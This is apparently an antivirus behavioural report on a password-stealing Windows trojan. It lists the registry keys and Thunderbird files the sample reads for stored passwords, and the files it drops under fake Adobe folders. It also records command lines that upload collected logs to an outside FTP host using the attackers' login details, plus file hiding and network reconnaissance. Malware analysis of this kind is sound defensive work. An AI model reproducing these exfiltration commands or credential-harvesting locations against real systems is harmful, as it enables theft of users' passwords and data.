Technical Information
Malicious functions
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
Reads files which store third party applications passwords
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %APPDATA%\local\adobe\pdf\low\adob02.bat
- %APPDATA%\adobe\adobe inc\aadoberead\555.555
- %TEMP%\login data
- %APPDATA%\adobe\adobe inc\aadoberead\adoip.pvc
- %APPDATA%\adobe\adobe inc\aadoberead\areada.exe
- %APPDATA%\adobe\adobe inc\aadoberead\ancp.exe
- %APPDATA%\adobe\adobe inc\aadoberead\adobepdf2.exe
- %APPDATA%\adobe\adobe inc\aadoberead\adobepdf.exe
- %APPDATA%\adobe\adobe inc\aadoberead\444.444
- %APPDATA%\adobe\adobe inc\aadoberead\adobel.vbs
- %APPDATA%\adobe\adobe inc\aadoberead\adob02.bat
- %APPDATA%\local\adobe\pdf\low\areada.exe
- %APPDATA%\local\adobe\pdf\low\ancp.exe
- %APPDATA%\local\adobe\pdf\low\adobepdf2.exe
- %APPDATA%\local\adobe\pdf\low\adobepdf.exe
- %APPDATA%\local\adobe\pdf\low\adobel.vbs
- %APPDATA%\local\adobe\pdf\low\adobe01.bat
- %APPDATA%\adobe\adobe inc\aadoberead\adobe01.bat
- %HOMEPATH%\ncftp\firewall.txt
Deletes the following files
- %TEMP%\login data
Moves the following files
- from %APPDATA%\adobe\adobe inc\aadoberead\555.555 to %APPDATA%\adobe\adobe inc\aadoberead\reo_201931we_232258.090
- from %APPDATA%\adobe\adobe inc\aadoberead\444.444 to %APPDATA%\adobe\adobe inc\aadoberead\rep_201931we_232258.091
Substitutes the following files
- %TEMP%\login data
Network activity
UDP
- DNS ASK ft#.##eehostia.com
Miscellaneous
Searches for the following windows
- ClassName: 'ShImgVw:CPreviewWnd' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Local\Adobe\Pdf\low\adobel.vbs"
- '%APPDATA%\adobe\adobe inc\aadoberead\adobepdf.exe' -f "555.555"
- '%APPDATA%\adobe\adobe inc\aadoberead\adobepdf2.exe' -f "444.444"
- '%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u humshi8 -p bikmasa2019 -m -R ftp.freehostia.com /LOG023 *.090
- '%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u humshi8 -p xxxbikmasa2019 -m -R ftp.freehostia.com /LOG023 *.091
- '%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u donmak10 -p xxx9901986 -m -R ftp.freehostia.com /LOG014 *.090
- '%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u donmak10 -p 9901986 -m -R ftp.freehostia.com /LOG014 *.091
- '%APPDATA%\adobe\adobe inc\aadoberead\areada.exe' 5359
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Local\Adobe\Pdf\low\adobe01.bat" /quiet /norestart"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Local\Adobe\Pdf\low\adobe01.bat" /quiet /norestart"
- '<SYSTEM32>\xcopy.exe' /y /h /e /r /k /c *.* "%APPDATA%\Adobe\Adobe Inc\AadobeRead\"
- '<SYSTEM32>\cmd.exe' /K "%APPDATA%\Adobe\Adobe Inc\AadobeRead\adob02.bat"
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\shimgvw.dll,ImageView_Fullscreen %APPDATA%\Adobe\Adobe Inc\AadobeRead\pdfdocx.jpg
- '<SYSTEM32>\attrib.exe' +r +a +s +h "%APPDATA%\Local\Adobe\Pdf\low"
- '<SYSTEM32>\ipconfig.exe' /all
